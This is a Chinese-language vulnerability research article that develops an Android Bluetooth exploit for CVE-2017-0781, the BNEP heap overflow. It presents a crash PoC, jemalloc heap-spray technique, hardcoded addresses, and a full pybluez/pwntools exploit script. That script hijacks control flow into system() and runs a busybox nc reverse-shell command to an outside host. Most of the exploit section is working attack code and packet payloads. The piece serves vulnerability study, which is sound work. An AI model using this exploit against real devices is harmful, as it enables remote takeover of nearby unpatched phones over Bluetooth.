來源:先知安全技術社區
作者:thor@MS509Team

CVE-2017-0781是最近爆出的 Android 藍牙棧的嚴重漏洞,允許攻擊者遠程獲取Android手機的命令執行權限,危害相當大。armis 給出的文檔[1]中詳細介紹了該漏洞的成因,但是并沒有給出 PoC 和 Exploit,我們只好根據文檔中的介紹自己摸索嘗試編寫 Exploit。

0x00 測試環境

  1. Android 手機: Nexus 6p
  2. Android 系統版本: android 7.0 userdebug
  3. Ubuntu 16 + USB 藍牙適配器

為了調試方便,nexus 6p 刷了自己編譯的 AOSP 7.0 userdebug 版本。

0x01 漏洞原理

CVE-2017-0781是一個堆溢出漏洞,漏洞位置在bnep\_data\_ind函數中,如下所示:

p\_bcb->p\_pending\_data指向申請的堆內存空間,但是memcpy的時候目的地址卻是p\_bcb->p\_pending\_data + 1,復制內存時目的地址往后擴展了sizeof(p\_pending\_data)字節,導致堆溢出。p\_pending\_data指向的是一個8個字節的結構體BT\_HDR,所以這里將會導致8個字節的堆溢出。

該漏洞看上去十分明顯,但是由于這是藍牙bnep協議的擴展部分,所以估計測試都沒覆蓋到。

0x02 PoC編寫

該漏洞是藍牙協議棧中 BNEP 協議處理時出現的漏洞,因此 PoC 的編寫就是要向 Android 手機發送偽造的 bnep 協議包就行了。我們這里使用 pybluez 實現藍牙發包,可以直接在 Ubutnu 上通過 pip 安裝。armis 的文檔中給出了觸發漏洞的 bnep 協議包格式:

PoC如下所示:

    import bluetooth,sys

    def poc(target):

        pkt = '\x81\x01\x00'+ '\x41'*8 

        sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

        sock.connect((target, 0xf))

        for i in range(1000):

            sock.send(pkt)
            data = sock.recv(1024)

        sock.close()

    if __name__ == "__main__":

       if len(sys.argv) < 2:
          print 'No target specified.'
          sys.exit()

       target = sys.argv[1]
       poc(target)

簡單說明一下 PoC 程序,我們首先通過BluetoothSocket建立與對方的L2CAP連接,類比于我們熟悉的TCP連接,然后我們在建立的L2CAP連接之上向對方發送bnep協議數據包,類比于建立TCP連接后發送的應用層數據包,而包的格式就是前面介紹的內容。我們知道觸發漏洞后會覆蓋堆中的內容,那么我們 PoC 的效果就是會用8個字節"A"覆蓋堆中的某些數據。我們通過發送1000個構造的畸形數據包到對方,那么極有可能這其中就會覆蓋到某些重要數據,導致藍牙服務程序發生內存訪問錯誤崩潰。

運行PoC: ?
>python poc.py <target>

其中 target 是目標手機的藍牙 MAC 地址,類似于 wifi 的 MAC 地址。PoC 編寫好后我們可以開始測試了,首先打開手機的藍牙,然后我們在 Ubuntu 上運行以下腳本來查找附近的藍牙設備:

    import bluetooth

    nearby_devices = bluetooth.discover_devices(lookup_names=True)
    print("found %d devices" % len(nearby_devices))

    for addr, name in nearby_devices:
        print("  %s - %s" % (addr, name))

運行結果如下:

發現的 AOSP 藍牙設備就是我們的測試手機。直接運行 PoC,并通過 adb logcat 查看測試手機的日志:

可以看到我們的 PoC 直接遠程讓手機上的藍牙服務崩潰,并且寄存器中出現了我們指定的內容,說明我們成功實現了堆溢出,覆蓋了堆中的某些數據,導致藍牙服務程序出現內存訪問錯誤。至此,我們的 PoC 已經實現了遠程使 android 手機藍牙功能拒絕服務,下一步就是從堆溢出到獲取命令執行權限的過程。

0x03 Exploit 編寫

Android 使用的是 jemalloc 來管理堆內存,分配堆內存的時候內存塊之間是沒有元數據的,因此無法使用 ptmalloc 中覆蓋元數據的漏洞利用方法。我們也是剛開始接觸 jemalloc,參考了[2]中的漏洞利用方法,發現由于該漏洞只能溢出8個字節的限制,似乎都不太好用。摸索好久最后發現只有期望于能夠覆蓋堆中的某些數據結構,而這些結構包含函數指針,從而獲取代碼執行權限。

我們知道 jemalloc 使用 run 來管理堆內存塊,相同大小的堆內存在同一個 run 中挨著存放。因此,只要我們構造與目標數據結構相同大小的內存塊,那么通過大量堆噴,則極有可能覆蓋掉目標數據結構的前8個字節。該漏洞有一個優勢就是我們可以控制申請的內存塊大小,那么理論上我們就可以覆蓋堆上絕大部分數據結構。

經過我們不斷調試和測試,我們發現當我們申請的內存大小為32字節時,通過大量堆噴,我們可以覆蓋fixed\_queue\_t數據結構的前8個字節,而該數據結構被藍牙協議棧頻繁使用:

    typedef struct fixed_queue_t {
      list_t* list;
      semaphore_t* enqueue_sem;
      semaphore_t* dequeue_sem;
      std::mutex* mutex;
      size_t capacity;

      reactor_object_t* dequeue_object;
      fixed_queue_cb dequeue_ready;
      void* dequeue_context;
    } fixed_queue_t;

我們覆蓋的8個字節剛好能夠覆蓋 list 指針,list 結構體如下:

    typedef struct list_t {
      list_node_t* head;
      list_node_t* tail;
      size_t length;
      list_free_cb free_cb;
      const allocator_t* allocator;
    } list_t;

可以看到該結構體包含一個list\_free\_cb類型的變量,而該類型恰好為一個函數指針:

typedef void (list_free_cb)(void data);

那么我們的一種漏洞利用思路就有了,就是首先通過堆噴覆蓋fixed\_queue\_t前8個字節,控制 list 指針指向我們偽造的list\_t結構體,從而控制free\_cb的值,達到劫持pc的目的。當我們偽造的free\_cb被調用的時候,那么進程的執行就會被我們控制。我們通過查看bt/osi/src下的源文件發現free\_cb會在list\_free\_node\_函數中被調用:

    static list_node_t* list_free_node_(list_t* list, list_node_t* node) {
      CHECK(list != NULL);
      CHECK(node != NULL);

      list_node_t* next = node->next;

      if (list->free_cb) list->free_cb(node->data);
      list->allocator->free(node);
      --list->length;

      return next;
    }

我們繼續查看調用,找到了一條觸發的調用鏈:

fixed_queue_try_enqueue-->list_remove-->list_freenode->free_cb

fixed\_queue\_try\_enqueue會在藍牙棧的協議處理時用到,所以只要我們能控制list_t結構體,就能劫持藍牙進程的執行。

接下來我們需要找到偽造list_t結構體的辦法。我們首先可以假設我們通過大量堆噴,在堆中放置了很多我們偽造的list_t結構體,并且通過堆噴使得某已知堆地址addr_A恰好放置了我們偽造的一個list_t結構體,那么我們只需再通過堆噴來覆蓋fixed_queue_t結構體的前8個字節,包內容如下所示:

pkt = '\x81\x01\x00'+ struct.pack('<I', addr_A) * 8

通過這種覆蓋,我們成功使得fixed\_queue\_t中的list指針指向我們偽造的list\_t結構體,那么free_cb的執行將使我們成功劫持進程執行。

由上述可知,這種利用方法需要兩次對噴,第一次先在堆中放置大量的list_t結構體,第二次再通過堆噴去溢出fixed\_queue\_t結構體。這里有一個難點就是第二次堆噴必須知道一個固定的堆地址,而這個地址需要第一次堆噴去覆蓋到。一種方法是根據jemalloc的分配規則去爆破,另一種就是根據jemalloc分配規律硬編碼一個地址。為了簡單起見,我們使用第二種方法。我們第一次堆噴時選擇堆塊的大小為96字節,首先通過gdb調試觀察jemalloc的分配:

我們多次調試發現,藍牙進程每次重啟后總有0xe6790000這條run是分配的96字節大小,那么我們可以選取這條 run 靠后的某個 region 作為我們的addr_A,這里我們選取0xe6792a00這個 region`:

還有一個問題就是由于堆噴的時候每個 region 的前8個字節可能會被覆蓋掉,所以這里我們在放置偽造的list\_t結構體時需要往后點,所以我們得到選取的addr\_A為:

addr_A =  0xe6792a00 + 8

接下來我們開始構造list\_t結構體,如下圖所示:

如果一切順利,那么通過兩次堆噴,我們將會劫持到 PC,而藍牙進程會在0x41414141處崩潰,測試過程這里不再演示,我們繼續下一步。順利劫持 PC 后,我們怎樣能執行 shellcode 呢?一種復雜的方式是stack pivot + ROP + shellcode,另一種簡單的就是 ret2libc,直接跳轉到 libc 中的 system 函數,我們只需提前構造好參數就行了。

我們調試和測試發現,當我們劫持 pc 執行 system 函數的時候,r0寄存器負責傳遞命令字符串參數地址,正好指向我們控制的list->head->data,因此我們只要構造好該參數即可。最終構造好的結構如下所示:

為了防止進程意外崩潰,我們還原了list\_t結構體中的allocator\_t結構體,包含了osi中堆分配和回收的函數地址。這里用到的3個函數地址systemosi\_allocosi\_free都可以通過CVE-2017-0785的信息泄露漏洞獲取到。

通過以上分析,我們可以得到第一次堆噴所發送的數據包內容:

pkt = '\x81\x01\x00'+  p32(addr_A+0x20 )2 + '\x01\x00\x00\x00' + p32(system_addr) + p32(addr_A + 0x14) + p32(osi_alloc_addr) + p32(osi_free_addr)+ '\x00'8 + p32(addr_A+0x28) + cmd_str + '\x00'*(48-len(cmd_str))

綜上所述,我們可以得到 exploit 腳本:

    from pwn import *
    import bluetooth,time

    addr_A = 0xe6792a00 + 8

    cmd_str = "busybox nc 192.168.2.1 8088 -e /system/bin/sh &" + '\x00'

    libc_base = 0xf34cf000
    system_addr = libc_base + 0x64a30 + 1

    bluetooth_base_addr = 0xeb901000
    osi_alloc_addr = bluetooth_base_addr + 0x15b885
    osi_free_addr = bluetooth_base_addr + 0x15b8e5

    pkt1 = '\x81\x01\x00'+  p32(addr_A+0x20)*2 + '\x01\x00\x00\x00' + p32(system_addr) + p32(addr_A+0x14) + p32(osi_alloc_addr) + p32(osi_free_addr)+ '\x00'*8 + p32(addr_A+0x28) + cmd_str + '\x00'*(48-len(cmd_str)) 

    pkt2 = '\x81\x01\x00'+ p32(addr_A) * 8

    def heap_spray():

        sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

        sock.connect((target, 0xf))

        for i in range(500):

            sock.send(pkt1)
            data = sock.recv(1024)

        sock.close()

    def heap_overflow():

        sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

        sock.connect((target, 0xf))

        for i in range(3000):

            sock.send(pkt2)
            data = sock.recv(1024)

        sock.close()


    if __name__ == "__main__":

         if len(sys.argv) < 2:
            print 'No target specified.'
            sys.exit()

         target = sys.argv[1]

         print "start heap spray"
         heap_spray()

         time.sleep(10)

         print "start heap overflow"
         heap_overflow()

腳本中libc.sobluetooth.default.so的加載基址可由信息泄露漏洞獲得,這里我們直接給出。腳本中通過system函數執行的是通過 nc 反彈 shell 的命令,我們首先在本地通過 nc 監聽 8088 端口,然后運行 exploit 腳本如下:

如果兩次堆噴都成功的話,我們可以在本地得到反彈的 shell,用戶為 bluetooth:

一般情況下執行3到5次 exploit 就能成功反彈 shell。

0x04 總結

本文研究了 Android 藍牙棧的遠程命令執行漏洞 CVE-2017-0781,探索了從 PoC 到編寫 exploit 的過程,算是比較順利地寫出了 exploit,還有一點缺陷就是堆中固定地址addr_A的獲取,現在暫時只能根據不同手機硬編碼。歡迎大家一起研究探討!

參考文獻:

[1] http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf

[2] http://phrack.org/issues/68/10.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/430/